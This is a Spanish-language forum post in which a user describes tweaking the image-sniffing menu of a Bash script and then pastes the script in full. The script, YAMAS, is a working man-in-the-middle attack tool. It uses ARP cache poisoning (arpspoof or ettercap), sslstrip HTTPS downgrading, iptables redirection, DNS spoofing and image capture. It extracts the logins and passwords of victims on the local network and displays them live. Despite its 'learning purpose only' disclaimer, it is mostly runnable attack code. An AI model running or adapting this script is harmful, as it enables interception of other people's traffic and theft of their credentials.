bueno , pues ya lo tengo.
las capturas van a /root/driftnet/capeta_fecha-captura
he eliminado del menu la opcion de selccion entre driftnet o el otro snifer ,....y he autoseleccionado driftnet
con lo que al darle a opcion 5 ...aparece el menu de añadidos, en el que aparece
image snifing
es seleccionar esa opcion , et voila..nada mas que hacer..es decir ..antes elegias esa opcion y te preguntaba que esnifer lanzar..ahora ya lo hace todo automatico.
he usado la orden que puso
geminis_demon y despues ajuste la ruta de captura y modifique la opcion de image capturing.
code
[spoiler]# #!/bin/bash
# Bash script to launch man it the middle attack and sslstrip.
# version 0.9 by comaX
if [ $UID -ne 0 ]; then
echo -e "\033[31This program must be run as root.
This will probably fail.\033[m"
sleep 3
fi
log_output_dir=/root/driftnet
sslstrip_dir=
ask_for_install=n
if [ ! -d "$log_output_dir" ]; then
mkdir -p $log_output_dir
fi
version="20120213"
# if user ^C then execute cleanup function
trap fast_cleanup SIGINT # will prolly output errors, but that's normal since it may try killing non-existing processes.
fast_cleanup()
{
echo -e "\n\n\033[31m ^C catched. Cleaning up, then exit.\033[m"
if [[ $looparseid != "" ]];then
kill $looparseid
fi
if [[ $sslstripid != "" ]];then
kill $sslstripid
fi
if [[ $dnsid != "" ]];then
kill $dnsid
fi
if [[ $etterspoofid != "" ]];then
kill $etterspoofid
fi
if [[ "$etter" = "1" ]];then
killall ettercap
else
killall arpspoof
fi
echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding
iptables --flush # there are probably too many resets here,
iptables --table nat --flush # but at least we're sure everything's clean
iptables --delete-chain
iptables --table nat --delete-chain
if [ -e '/tmp/looparse.sh' ]; then
rm /tmp/looparse.sh
fi
echo -e "\033[32m[-] Clean up successful !\033[m"
exit 0
}
#Let's define some arguments that can be passed to the script :
#generating grepcred.txt so that it doesn't have to be downloaded each time
#it was originally being downloaded so I could easily fix it, but there has
#been no fix to be done... So why use a file instead of a command line ?
#It's just much more easier this way.
echo -e "credential\nemail\nlast\nlog\nmodified\nname\nnickname\npass\npersistent\npw\nsession\ntextbox\nuser\nwebsite" > /tmp/grepcred.txt
while [ "$1" != "" ];do
case $1 in
-p | --parse)
if [[ $2 == "" ]]; then
echo -e "No input file given. Quitting. \nusage : $0 -p <file>"
exit 0
fi
clear
echo -e "Parsing $2 for credentials.\n\n"
cat $2 |
awk -F "(" '/POST Data/ {for (i=1;i<=NF;i++) if (match($i,/POST Data/)) n=i; print "Website = \t"$2; getline; print $n"\n"}' |
awk -F "&" '{for(i=1;i<=NF;i++) print $i }' |
egrep -i -a -f /tmp/grepcred.txt |
awk -F "=" '{if (length($2) < 4) print "";
else if ($1 ~/Website/) print $0;
else if ($1 ~/[Pp]/) print "Password = \t"$2"\n";
else print "Login = \t"$2}' |
uniq
exit 0 ;;
-e | --etter) echo -e "\tYou will be using Ettercap instead of ARPspoof."
etter="1"
shift
sleep 0.5 ;;
-h | --help) clear
echo -e "You are running $0, version $version.
usage : $0 -h -c -p -e -s -f
-h or --help : Display this help message, disclaimer and exit.
-c or --change: Display changelog and todo.
-e : Use ettercap instead of ARPspoof. One might have one's reasons...
ARPspoof is default.
-p or --parse : Only parse the given <file>. Don't use wildcards.
Use > /output_file to print to a file.
-s : The script won't download anything. Make sure you have the needed files.
-f : Use a padlock favicon in sslstrip.
\033[31m DISCLAIMER :\033[m
This program is intended for learning purpose only. I do not condone hacking
and wouldn't be held responsible for your actions. Only you would face legal
consequences if you used this script for illegal activities.
\033[31m What I think should be learnt from this script :\033[m
This script should teach you how easy it is to steal sensitive online
credentials and how to protect you from it, provided you understand
what this program does. The best way to understand what it does is
to look at its source. This will also teach you basic shell scripting."
exit 0 ;;
-c | --change)
clear
echo -e "\033[31m Changelog :\033[m
ToDo :
- FakeSSL -> Need help
\033[31mFeatures :\033[m
- Output of credentials as they are sniffed in xterm window.
- Log parsing for user-friendly output.
- Both arpspoof and ettercap are suported
- Network mapping for host discovery.
- Can save \"dumped\" passwords to file.
- Support for multiple targets on the network.
- Can parse a single file.
- Display ASCII tables for better readability of creds.
- All options know default, pressing only enter should get you through.
- Very neat and kewl ascii =D
- Miscellaneous features
\033[31m Credits :\033[m
Credits go to all people on backtrack forums for their help and support,
and google for being my best friend with scripting.
Special kudos to ShortBuss for something I should have seen a
long time ago (sslstrip before arpspoof) and many little improvements.
And of course, to the people responsible for the tools I am using in this script.
Please criticize this program or submit ideas on the official thread at
http://tinyurl.com/yamas-bt5 or send me a mail at contact.comax@gmail.com"
exit ;;
-s | --silent)
echo "silent mode ON"
silent="1"
shift ;;
-f | --fav)
echo "favicon mode ON"
fav="-f"
shift ;;
*) shift ;;
esac
done
### Message of the day ! <= Fucking useless, but who knows, I might want to warn about something directly, or tell a joke...
if [[ "$silent" = "1" ]]; then
message="\nNo message to display : you are running in silent mode"
else
message=$(curl --silent -q
http://comax.fr/yamas/bt5/message) #store it to variable
fi
if [[ $1 = "-s" || $2 = "-s" ]]; then
echo "ASCII tables won't be available."
echo "ASCII tables are not available due to the use of silent mode." > /tmp/ascii
else
wget -q
http://comax.fr/yamas/bt5/ascii -O /tmp/ascii
fi
### Check for updates !
if [[ "$silent" = "1" ]];then
echo "Not checking for a new version : silent mode."
else
changelog=$(curl --silent -q
http://comax.fr/yamas/bt5/changelog)
last_version=$(curl --silent -q
http://comax.fr/yamas/bt5/version) #store last version number to variable
if [[ $last_version > $version ]];then # Comparing to current version
echo -e "You are running version \033[31m$version\033[m, do you want to update to \033[32m$last_version\033[m? (Y/N)
Last changes are :
$changelog"
read update
if [[ $update = Y || $update = y ]];then
echo "
wget -q
http://comax.fr/yamas/bt5/yamas.sh -O $0
chmod +x $0
echo "[-] Script updated !"
if [[ $0 != '/usr/bin/yamas' && $ask_for_install = 'y' ]];then
echo -e "Do you want to install it so that you can launch it with \"yamas\" ?"
read install
if [[ $install = Y || $install = y ]];then #do not proceed to install if using installed version : updating it already "installed" it over.
cp $0 /usr/bin/yamas
chmod +x /usr/bin/yamas
echo "Script should now be installed, launching yamas !"
sleep 3
yamas
exit 1
else
echo "Ok, continuing with updated version..."
sleep 3
$0
exit 1
fi
fi
sleep 2
$0
exit 1
else
echo "Ok, continuing with current version..."
fi
else
echo "No update available"
fi
fi
### End of update process
### Install process
if [[ ! -e '/usr/bin/yamas' && $ask_for_install = 'y' ]];then
echo "Script is not installed. Do you want to install it ? (Y/N)"
read install
if [[ $install = Y || $install = y ]] ; then
cp -v $0 /usr/bin/yamas
chmod +x /usr/bin/yamas
rm $0
echo "Script should now be installed. Launching it !"
sleep 3
yamas
exit 1
else
echo "Ok, not installing then !"
fi
else
echo "Script is installed"
sleep 1
fi
### End of install process
clear
echo -e "
\`YMM' \`MM' db \`7MMM. ,MMF' db .M\"\"\"bgd
VMA ,V ;MM: MMMb dPMM ;MM: ,MI \"Y
VMA ,V ,V^MM. M YM ,M MM ,V^MM. \`MMb.
VMMP ,M \`MM M Mb M' MM ,M \`MM \`YMMNq.
MM AbmmmqMA M YM.P' MM AbmmmqMA . \`MM
MM A' VML M \`YM' MM A' VML Mb dM
.JMML..AMA. .AMMA..JML. \`' .JMML..AMA. .AMMA.P\"Ybmmd\" " # <= I love it.
echo -e "===========================================================================
=\033[31m Welcome to Yet Another MITM Automation Script.\033[m =
=\033[31m Use this tool responsibly, and enjoy!\033[m =
= Feel free to contribute and distribute this script as you please. =
= Official thread :
http://tinyurl.com/yamas-bt5 =
= Check out the help (-h) to see new features and informations =
= You are running version \033[32m$version\033[m =
==========================================================================="
echo -e "\033[36mMessage of the day :\033[m"
echo -e "$message"
echo
# Starting fresh : reset IP forward and iptables
echo -e "\033[31m
- Cleaning iptables \033[m"
echo "0" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo "[-] Cleaned."
# Defining exit function and other ending features
cleanup()
{
echo
echo -e "\033[31m
- Killing processes and resetting iptable.\033[m"
kill $sslstripid
kill $looparseid
if [[ $drifton = 1 ]]; #if driftnet was used
then
echo -e "\033[31mIMMA KILL THIS DRIFTNET BITCH\033[m" #It's between him and me.
if [[ ! -e $log_output_dir ]]; #check if destination folder exists, since driftnet won't create one nor save images
then
mkdir $log_output_dir #create if needed
fi
killall driftnet #kill the unbeliever
elif [[ $drifton = 2 ]]; #if tcpxtract was used
then
killall tcpxtract #kill it...
fi
if [[ "$etter" = "1" ]];then
killall ettercap
else
killall arpspoof
fi
echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding
iptables --flush # there are probably too many resets here,
iptables --table nat --flush # but at least we're sure everything's clean
iptables --delete-chain
iptables --table nat --delete-chain
rm /tmp/looparse.sh
echo -e "\033[32m[-] Clean up successful !\033[m"
echo -e "\nDo you want to keep the whole log file for further use or shall we delete it? (Y=keep)"
echo "(If you want to keep it, it will be stored in $log_output_dir/$filename.txt)"
read -e keep
if [[ $keep = "Y" || $keep = "y" ]];then # double brackets because double condition. || signifies "or"
cp /tmp/$filename.txt $log_output_dir/$filename.txt #moving file
if [ -f "$log_output_dir/$filename.txt" ]; then #check if it exists
echo "Log file copied !" #it does
else echo "Error while copying log file. Go check /tmp/ for $filename.txt" #it does not
fi
else
echo "Logs not saved"
fi
echo -e "\nDo you want to save passwords to a file? (Y=keep)"
echo "(If you want to keep it, it will be saved in $log_output_dir/$filename.pass.txt)"
read -e keeppd
if [[ $keeppd = "Y" || $keeppd = "y" ]];then # double brackets because double condition. || signifies "or"
cat /tmp/$filename.txt |
awk -F "(" '/POST Data/ {for (i=1;i<=NF;i++) if (match($i,/POST Data/)) n=i; print "Website = \t"$2; getline; print $n"\n"}' |
awk -F "&" '{for(i=1;i<=NF;i++) print $i }' |
egrep -i -a -f /tmp/grepcred.txt |
awk -F "=" '{if (length($2) < 4) print "";
else if ($1 ~/Website/) print $0;
else if ($1 ~/[Pp]/) print "Password = \t"$2"\n";
else print "Login = \t"$2}' |
uniq >> $log_output_dir/$filename.pass.txt # >> appends to a potential previous file.
if [ -f "$log_output_dir/$filename.pass.txt" ]; then #check if it exists
echo "Passwords saved !" #it does
else
echo "Error while saving passwords" #it does not
fi
else
echo "Password saving skipped."
fi
rm /tmp/$filename.txt
echo -e "\nTemporary files deleted."
if [[ -f "/usr/bin/yamas" && $ask_for_install != 'y' ]];then #check if script is already installed
echo -e "\n\n"
exit 1 #if yes, exit.
else
echo "This script is not installed yet. Do you wish to install it, so that you can reuse it later on by simply issuing 'yamas' in console? (Y/N)"
read -e install
case $install in
Y | y | yes)
cp $0 /usr/bin/yamas #copy and rename script
echo -e "\033[32m Script installed !\033[m" ;;
*) echo "Script not installed." ;;
esac
fi
exit 1
}
search=$(ip route show | awk '(NR == 2) { print $1}') #store gateway/24 for whole network mapping to variable
#We put it here in the middle, because it could be used two times, but the gateway shouldn't change,
#so there is no need to do it twice.
rescan ()
{
echo -e "\033[31m"
nmap -sn $search | grep report | awk -F for '{ print $2 }' #host discorvey
echo -en "\033[m"
final
}
add_target()
{
echo "Enter a new IP adress to attack :"
read newip
xterm -geometry 90x3-1-1 -T "Poisoning $newip" -e arpspoof -i $iface -t $newip $gateway 2>/dev/null & sleep 2
final
}
ascii()
{
clear
cat /tmp/ascii
rm /tmp/ascii
final
}
dns_spoof()
{
### Make Host function###
mkhst()
{
echo "Enter your redirection list line by line. End with #.
Usage is : 127.0.0.1 foo.bar.com
Wildcards may be used."
rm ~/hosts_spoof
while :
do
read input
echo "$input" >> ~/hosts_spoof
if [[ $input == "#" ]];then
break
fi
done
}
###EOfunc###
echo "If you already have a host file, enter its path. If you don't, press enter."
read gothost
if [[ $gothost != "" ]];then
echo "Host file $gothost will be used."
else
echo -e "We'll make one...\n"
mkhst
fi
xterm -geometry 90x3-1-1 -T "DNS spoofing" -e dnsspoof -i $iface -f ~/hosts_spoof & dnsid=$!
}
choose_dns()
{
echo "Would you like to use Ettercap 'dns_spoof' plugin or dnsspoof (E/D) ? Press a to abort"
read spoofpgm
case $spoofpgm in
E) echo "We'll use ettercap. Make sure to have edited /usr/share/ettercap/etter.dns"
ettercap -D -q -i $iface -T -P dns_spoof & etterspoofid=$! ;;
D) echo "We'll use dnsspoof."
dns_spoof ;;
a | A) final ;;
*) echo "Wrong choice. Please use E or D"
choose_dns;;
esac
final
}
misc()
{
echo -e "\nHere are the miscellanous features.
1. Image sniffing
2. DNS spoofing
3. Previous menu."
read misc
case $misc in
1) image_menu
final ;;
2) choose_dns ;;
3) final ;;
*) echo "bad choice"
misc ;;
esac
}
image_menu()
{
echo -e "Would you rather use driftnet (display images) or tcpxtract ?
1. Tcpxtract (saves all images to $log_output_dir/capture[date])
2. Driftnet (Display images on screen and save all images to $log_output_dir/capture[date])"
read image_choice
case $image_choice in
1) tcpxtract -d $iface -o $log_output_dir/capture_$(date +%d%m%y) > /dev/null & tcpid=$!
drifton=2
echo "tcpxtract is launched with pid $tcpid"
misc ;;
2) driftnet -i $iface -d $log_output_dir &> /dev/null &
drifton=1
echo "Driftnet launched."
misc ;;
esac
}
rtparse()
{
echo -e "\n\nIn this menu, you can pause, resume, kill, or launch
realtime parsing (RTP).
1. Pause RTP (keep xterm open for you to read, copypasta, etc.)
2. Resume RTP.
3. Kill RTP (stop and close xterm)
4. Re-launch RTP
5. Previous menu."
read rtp
case $rtp in # not sure if this should be quote enclosed...anyone want to help out? It's singular options without a space, so I think the need for quotes is NOT needed??
1) echo -e "\033[33m
kill -19 $looparseid
echo -e "\033[33m[-]Paused.\033[m"
rtparse;;
2) echo -e "\033[33m
kill -18 $looparseid
echo -e "\033[33m[-]Resumed.\033[m"
rtparse;;
3) echo -e "\033[31m
kill $looparseid
echo -e "\033[33m[-]Killed.\033[m"
rtparse;;
4) echo -e "\033[32m
xterm -hold -geometry 90x20-1-100 -T Passwords -e /tmp/looparse.sh & looparseid=$!
sleep 2
echo -e "\033[33m[-]Launched.\033[m"
rtparse;;
5) echo "Previous"
final ;;
*) echo -e "\033[31mBad choice bro !\033[m\n" #Professional Language =)
rtparse;;
esac
}
final()
{
echo -e "\n\033[32mAttack is running\033[m. You can :
1. Rescan network.
2. Add a target (useless if targeting whole network).
3. Display ASCII correspondence table.
4. Real-time parsing...
5. Misc features.
6. Quit properly.
Enter the number of the desired option."
read final
case $final in
1) rescan ;;
2) add_target ;;
3) ascii ;;
4) rtparse ;;
5) misc ;;
6) cleanup ;;
*) echo -e "\033[31mBad choice bro !\033[m\n" #was "motherfucker" during my tests.
final ;;
esac
}
###############################End of functions#############################
# IP forwarding
echo
echo -e "\033[31m
- Activating IP forwarding... \033[m"
echo "1" > /proc/sys/net/ipv4/ip_forward
echo "[-] Activated."
#Iptables
echo
echo -e "\033[31m
- Configuring iptables... \033[m"
echo -en "\033[31m To \033[mwhat port should the traffic be redirected to? (default = 8080)"
echo
read -e outport
if [ "$outport" = "" ];then
outport=8080
echo -e "Port $outport selected as default.\n"
fi
echo -en "\033[31m From \033[mwhat port should the traffic be redirected to? (default = 80)"
echo
read -e inport
if [ "$inport" = "" ];then
inport=80
echo -e "Port $inport selected as default.\n"
fi
echo -e "\n\033[33m Traffic from port $inport will be redirected to port $outport \033[m"
iptables -t nat -A PREROUTING -p tcp --destination-port $inport -j REDIRECT --to-port $outport
echo "[-] Traffic rerouted"
#Sslstrip
echo
echo -e "\033[31m
- Activating sslstrip... \033[m"
echo "Choose filename to output : (default = yamas)"
read -e filename
if [ "$filename" = "" ];then
filename="yamas"
fi
echo -e "\033[33m Sslstrip will be listening on port $outport and outputting log in /tmp/$filename.txt\033[m"
if [ ! -e '/usr/bin/sslstrip' ];then # If sslstrip isn't installed
if [ ! -x '$sslstrip_dir/sslstrip.py' ];then #if non-installed is not executable
chmod +x $sslstrip_dir/sslstrip.py #make it executable
fi
$sslstrip_dir/sslstrip.py $fav -a -k -l $outport -w /tmp/$filename.txt 2> /dev/null & sslstripid=$! #launch non-installed
else
sslstrip $fav -a -k -l $outport -w /tmp/$filename.txt 2> /dev/null & sslstripid=$!
fi
sleep 4 #let time for sslstrip to launch. Might be bit too much, but better prevent than heal.
echo
echo -e " [-] Sslstrip is running." # a bit redundant, but who cares?
echo
#Arpspoofing
echo
echo -e "\033[31m
- Activating ARP cache poisoning... \033[m"
echo
ip route show | awk '(NR == 1) { print "Gateway :", $3," ", "Interface :", $5}' #Output IP route show user-friendly
iface=$(ip route show | awk '(NR == 1) { print $5}')
gateway=$(ip route show | awk '(NR == 1) { print $3}') #store gateway ip
echo
echo "Enter IP gateway adress or press enter to use $gateway."
read -e gateway
if [ "$gateway" = "" ];then
gateway=$(ip route show | awk '(NR == 1) { print $3}') #restore gateway ip since pressing enter set our var to null
echo -e "$gateway selected as default.\n"
fi
echo
echo "What interface would you like to use? It should match IP gateway as shown above. Press enter to use $iface."
read -e iface
if [ "$iface" = "" ];then
iface=$(ip route show | awk '(NR == 1) { print $5}') #store default interface
echo -e "$iface selected as default.\n"
fi
echo -e "\r"
echo -e "We will target the whole network as default. You can \033[4md\033[miscover hosts and enter IP(s) manually by entering \033[4mD\033[m.
Press enter to default."
read -e choicearp
echo
if [[ $choicearp = "D" || $choicearp = "d" ]];then
echo -e "\nDo you want to map the network to show live hosts? (Y/N) [This might take up to 30 secs, be patient]"
read -e hosts
echo -e "\033[31m "
if [[ $hosts = "Y" || $hosts = "y" ]];then
nmap -sn $search | grep report | awk -F for '{ print $2 }' #host discovery
echo -e "\033[m " # switch color back to white
else
echo -e "\033[m "
fi
echo -e "Please enter targets according to usage : IP1 IP2 IP3...
\033[31m Beware ! This will spawn as many windows as input targets and might slow down performances. If that was the case, then use whole network targeting.\033[m "
arpspoofi()
{ # We launch ARPspoof in different xterm windows to keep script running
while [ "$1" != "" ];do
xterm -geometry 90x3-1-1 -T "Poisoning $1" -e arpspoof -i $iface -t $1 $gateway 2>/dev/null & sleep 2
shift
done
echo -e "\033[33m Targeting $parameters on $gateway on $iface with ARPspoof\033[m"
}
ettercapi()
{ # We launch ARPspoof in different xterm windows to keep script running
while [ "$1" != "" ];do
xterm -geometry 90x3-1-1 -T "Poisoning $1" -e ettercap -o -q -i $iface -T -M arp /$gateway/ /$1/ 2>/dev/null & sleep 2
shift
done
echo -e "\033[33m Targeting $parameters on $gateway on $iface with Ettercap\033[m"
}
read -e parameters
if [[ "$etter" = "1" ]];then
ettercapi $parameters
else
arpspoofi $parameters
fi
else
if [[ "$etter" = "1" ]];then
xterm -geometry 90x3-1-1 -T ettercap -e ettercap -o -q -i $iface -T -M arp // // &
sleep 2
echo -e "\033[33m Targeting the whole network on $gateway on $iface with Ettercap\033[m"
else
xterm -geometry 90x3-1-1 -T arpspoof -e arpspoof -i $iface $gateway &
sleep 2
echo -e "\033[33m Targeting the whole network on $gateway on $iface with ARPspoof\033[m"
fi
fi
echo -e "[-] Arp cache poisoning is launched. \033[31m Keep new window(s) running. \033[m"
echo -e "\n\033[32m Attack should be running smooth, enjoy.\033[m"
echo
echo
echo "looparse(){
while :
do
clear
echo -e 'Note that %40 %21, etc. are ASCII chars. + means a space...\n'
cat /tmp/$filename.txt |
awk -F \"(\" '/POST Data/ {for (i=1;i<=NF;i++) if (match(\$i,/POST Data/)) n=i; print \"Website = \t\"\$2; getline; print \$n\"\n\"}' |
awk -F \"&\" '{for(i=1;i<=NF;i++) print \$i }' | #print each field on a new line
egrep -i -f '/tmp/grepcred.txt' |
awk -F \"=\" '{if (length(\$2) < 3) print \"\";
else if (\$1 ~/[W]/) print \$0;
else if (\$1 ~/[Pp]/) print \"Password = \t\" \$2\"\n\";
else print \"Login = \t\t\", \$2}' |
uniq
sleep 7
done
}
looparse" > /tmp/looparse.sh #We create a parsing script on-the-fly, chmod it, run it, kill it and remove it at the end.
chmod +x /tmp/looparse.sh
xterm -hold -geometry 90x20-1-100 -T Passwords -e /tmp/looparse.sh & looparseid=$! #here's the beauty
sleep 2
final #call the "final" function. Yes, it's the final one.
### End of the script fellas.[/spoiler]
